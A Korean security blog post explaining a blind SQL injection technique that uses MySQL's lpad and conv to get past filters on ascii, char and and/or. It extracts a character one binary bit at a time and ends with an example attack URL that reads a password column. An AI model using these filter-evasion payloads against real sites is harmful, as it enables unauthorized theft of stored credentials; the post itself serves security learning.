본문으로 바로가기

lpad , conv 를 이용한 BlindSQL Injection

category Security/Web 2014. 4. 13. 02:30
반응형

* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법


으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는


진법 변환을 해준다.


인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의


핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.




결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.



mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';

+-------------------------------------------+

| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |

+-------------------------------------------+

| 01100001                                  |

 

+-------------------------------------------+



1th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 1

2th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 1

Nth)
...

이와 같이 8번의 쿼리로 정확히 한글자씩 알아낼 수 있다.




# 비슷한 함수(테스트 필요)


MySQL : LPAD()  

MSSQL : REPLICATE()

 

Oracle : LPAD()




# 공격 예

index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0

 

출처 : http://hyunmini.tistory.com/49

반응형